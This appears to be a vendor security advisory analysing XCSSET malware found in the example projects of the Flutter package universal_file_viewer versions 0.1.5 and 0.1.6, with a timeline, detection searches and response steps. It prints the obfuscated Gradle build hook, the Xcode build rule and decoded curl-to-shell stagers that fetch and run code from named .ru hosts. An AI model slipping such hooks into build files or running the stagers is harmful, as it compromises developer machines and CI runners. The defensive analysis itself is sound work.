CVE
Not assigned
CWE
CWE-506
Affected Surface
- pub.dev package `universal_file_viewer` versions `0.1.5` and `0.1.6`, which the registry now lists as retracted
- macOS developer workstations that cloned the repository or unpacked the affected tarballs and built the `example/` app through Xcode
- Flutter and CI environments that built the `example/android`, `example/ios`, or `example/macos` projects from the infected 0.1.5 source snapshot
- Engineering workstations later exposed to XCSSET persistence through infected Xcode projects or injected Git hooks
The most important new package-registry story from the last three days is not another worm that blasted through hundreds of npm scopes. It is a quieter failure mode that many teams still underestimate: a legitimate package release published from an already infected maintainer workstation.
That is what happened to the Flutter package universal_file_viewer on pub.dev. The package’s reader-facing Dart code stayed mostly ordinary. The malicious changes landed in the shipped example/ projects instead. That difference matters because it narrows who gets hit, but it does not make the incident harmless. A team that only adds the dependency to pubspec.yaml is in a different position from a developer or CI job that clones the repository, opens the example app, and builds it on macOS.
What versions were affected
pub.dev’s version history now shows a clean before-and-after:
| Version | Registry status | What the public source history shows |
|---|---|---|
0.1.4 | stable | last known clean release before the incident |
0.1.5 | retracted | first release that added Android, iOS, and macOS downloader hooks |
0.1.6 | retracted | removed the Android hook, but left the Xcode-triggered downloaders |
0.1.7 | stable | removed the malicious Xcode build rules and related variables |
The upstream commit times are close enough to reconstruct the sequence:
2026-09-08T10:42:03Z:0.1.5commit lands with the malicious build hooks2026-09-08T11:42:46Z:0.1.6removes the Android hook only2026-09-08T17:28:01Z:0.1.7removes the remaining Xcode-side artifacts
That timeline is useful because it shows 0.1.6 was not the clean recovery version. It was only a partial cleanup.
The Android hook in 0.1.5
The 0.1.5 commit appended an install-time hook to example/android/app/build.gradle.kts:
tasks.all {
if (name.contains("preBuild")) {
doLast {
ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563...2073680a | p | sh ) >/dev/null 2>&1 &)").start()
}
}
}
There are two details worth calling out.
First, the code reconstructs xxd at runtime with printf xAxd | tr -d A instead of spelling the utility directly. That is basic obfuscation, but it is enough to dodge shallow string-matching on the literal tool name.
Second, the hex blob decodes to a downloader stub:
echo "$(curl -sfkL --connect-timeout 30 --retry 5 -d "p=android_kotlin" https://5yotmxcc54l9xda.ru/a)" | sh
So the Gradle project did not embed the full payload. It embedded a silent launcher that fetched shell from remote infrastructure and piped it straight into sh.
The Xcode path lasted longer than the Android one
The iOS and macOS projects were more instructive, and more operationally important.
In 0.1.5, both example/ios/Runner.xcodeproj/project.pbxproj and example/macos/Runner.xcodeproj/project.pbxproj gained a PBXBuildRule that matches *.md files, copies them into /tmp, and then executes a build variable named A3EA261:
filePatterns = "*.md";
outputFiles = (
"/tmp/${INPUT_FILE_BASE}",
);
script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"
sh -c \"${A3EA261}\"";
The same commit also added README.md to the Xcode resource graph. That is a subtle but important choice. It gives the new PBXBuildRule a predictable markdown input to process during builds, so the downloader has something to latch onto even if no ordinary source file would have matched the rule.
The injected A3EA261 values decode to two more shell stagers:
echo "$(curl --connect-timeout 26 -sLkf --retry 4 -d "p=xcode_rule" https://qdgs232i-q.ru/a)" | sh
echo "$(curl --connect-timeout 26 -sLkf --retry 4 -d "p=xcode_rule" https://ejntin6hkjt7gj2.ru/a)" | sh
The first value was placed in the iOS project, the second in the macOS one. Both use the same shape:
- download a script from
.ruinfrastructure - pass a campaign or delivery marker with
p=xcode_rule - pipe the returned body directly into
sh - discard output with background execution
Why 0.1.6 still was not safe
The 0.1.6 commit is easy to misread if you only check the Android file. It removed the build.gradle.kts ProcessBuilder block and deleted the backup file that still held a second malicious variant. If you stopped there, you could conclude that the package had already been cleaned.
The rest of the diff says otherwise.
0.1.6 left the iOS and macOS PBXBuildRule objects in place. It also left the A3EA261 variables in both Xcode project files. Those were not removed until the later 0.1.7 security cleanup commit, which deleted:
- the
PBXBuildRuleentries - the malicious
README.mdresource wiring - the
A3EA261downloader definitions
That is why the registry’s retraction status matters. The package author eventually corrected the problem, but the recovery did not happen in one step.
Why this is a supply-chain issue even though ordinary dependency use looks safer
This incident is narrower than the May and August registry worms for one reason: the malicious files sat inside the example applications, not in the main lib/ runtime code that a downstream Flutter app normally compiles.
That does not move it out of the supply-chain category. It changes the execution boundary.
The practical split looks like this:
pubspec dependency only
-> package library code used
-> example project usually ignored
-> lower immediate risk
clone repo or unpack affected tarball
-> build example/android or example/ios or example/macos
-> malicious downloader runs on the builder host
-> host compromise path begins
That distinction matters for AppSec teams because internal demos, package evaluation, CI smoke tests, and developer reproduction workflows often do build example apps. Those workflows sit outside many dependency scanners’ normal “production dependency” assumptions.
The XCSSET tradecraft lines up with older public analysis
The public incident write-up attributes the contaminated project files to XCSSET, and the code shape matches Microsoft’s 2025 analysis of that malware family:
- Xcode project infection through modified
project.pbxproj - layered
xxdor base64 obfuscation around shell launchers - Git hook propagation across local repositories
- Dock-based fake Launchpad persistence on macOS
Microsoft’s earlier write-up matters here because it shows this family does not stop at a one-shot project downloader. Once a developer machine is infected, the malware can keep seeding new repositories and build files until the workstation itself is cleaned. That matches the observed shape here: a maintainer published a package release that looks like ordinary feature work in the changelog while hidden project-file edits carried the real risk.
Detection and scoping
If your team cloned the repository or mirrored the affected tarballs, search the project files directly:
rg -n \
"printf xAxd \\| tr -d A|PBXBuildRule|A3EA261|5yotmxcc54l9xda|qdgs232i-q|ejntin6hkjt7gj2|/tmp/\\$\\{INPUT_FILE_BASE\\}" \
universal_file_viewer
For macOS hosts that built the example app, extend the hunt to XCSSET persistence surfaces:
rg -n "base64 --decode \\| base64 --decode|xxd -p -r" ~/.git/hooks "$HOME" 2>/dev/null
find ~/Library/Caches -maxdepth 3 -name 'Launchpad.app' 2>/dev/null
The first command looks for the project-file markers that identify the bad package releases. The second and third commands help answer the more important question: did the build trigger broader host compromise?
Response guidance
If a developer or runner built the affected example project, do not frame this as a simple package rollback.
- Treat the builder host as potentially compromised.
- Remove cached copies of
universal_file_viewer0.1.5and0.1.6from internal mirrors and developer package caches. - Re-clone the repository from a known-clean state or pin back to
0.1.4while validating0.1.7. - Inspect local Git hooks, Xcode project files, and suspicious fake Launchpad artifacts on macOS.
- Rotate credentials reachable from any workstation or CI job that executed the example build path.
The interesting lesson here is not that pub.dev now has “a malware problem” in the abstract. It is that package consumers, maintainers, and AppSec teams still tend to focus on library source under lib/ while trusting build metadata, project files, and examples to be low risk. In this case the dangerous code was not in the advertised API surface at all. It was in the scaffolding around it.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Aikido: Compromised Flutter package on pub.dev contains XCSSET malware
- pub.dev: universal_file_viewer all versions
- GitHub commit: chore: release version 0.1.5
- GitHub commit: chore: release version 0.1.6
- GitHub commit: security cleanup in 0.1.7
- Microsoft: new XCSSET malware persistence and project infection analysis